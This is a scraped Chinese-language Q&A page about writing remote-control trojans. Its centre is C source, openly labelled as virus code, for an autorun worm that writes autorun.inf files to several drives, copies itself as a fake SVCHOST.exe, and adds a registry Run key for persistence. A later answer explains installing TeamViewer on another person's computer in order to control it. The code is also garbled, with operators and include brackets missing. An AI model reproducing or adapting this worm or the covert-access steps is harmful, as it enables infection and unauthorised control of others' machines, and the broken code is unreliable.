远程控制型木马的运行原理是什么_写一个远程控制木马程序

hacker|
162

一个远程控制木马 *** 的问题

从自身资源中提取EXE

先建立一个资源文件。

里面写好你获取参数的变量等。

然后从资源文件里提取并将其他代码 写到文件里。

问题是 c#写的木马还要net framework才能用。。

你写了没什么用啊

~``远程控制木马程序怎么编写??答案速度

病毒C程序源码#define SVCHOST_NUM 6

#includestdio.h

#includestring.h

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};

char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};

char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\M *** OUSE.DLL",

"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",

"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};

char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen

(outfile,"wb"))!=NULL))

{

while(!feof(input))

{

fread(temp,1,1,input);

fwrite(temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

}

else return 1;

}

int main(void)

{

FILE *input,*output;

int i,k;

for(i=0;i3;i++)

{

output=fopen(files_autorun[i],"w");

fprintf(output,"%s",autorun);

fclose(output);

}

for(i=0;i=SVCHOST_NUM;i++)

{

if((input=fopen(files_svchost[i],"rb"))!=NULL)

{

fclose(input);

for(k=0;kSVCHOST_NUM;k++)

{

copy(files_svchost[i],files_svchost[k]);

}

i=SVCHOST_NUM+1;

}

}

system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */

return 0;

}

有cang求助,能够最简单的远程控制自己电脑的木马

1,在别人的电脑上安装远程控制软件,如向日葵远程控制软件,TeamViewer之类的软件。

2,以TeamViewer为例,先到官网下载最新版本的TeamViewer。

3,安装后,运行TeamViewer,会弹出如下窗口,设置好个人密码(用于远程连接)记下该电脑的ID(即上面显示的您的ID)。

4,然后在自己的电脑上,同样安装TeamViewer,然后在伙伴ID中输入记下的电脑ID,然后,输入设置的个人密码,即可连接到别人的电脑上了。

5,连接成功后,就可以看到对方的电脑了,可以远程操作了。

0条大神的评论

发表评论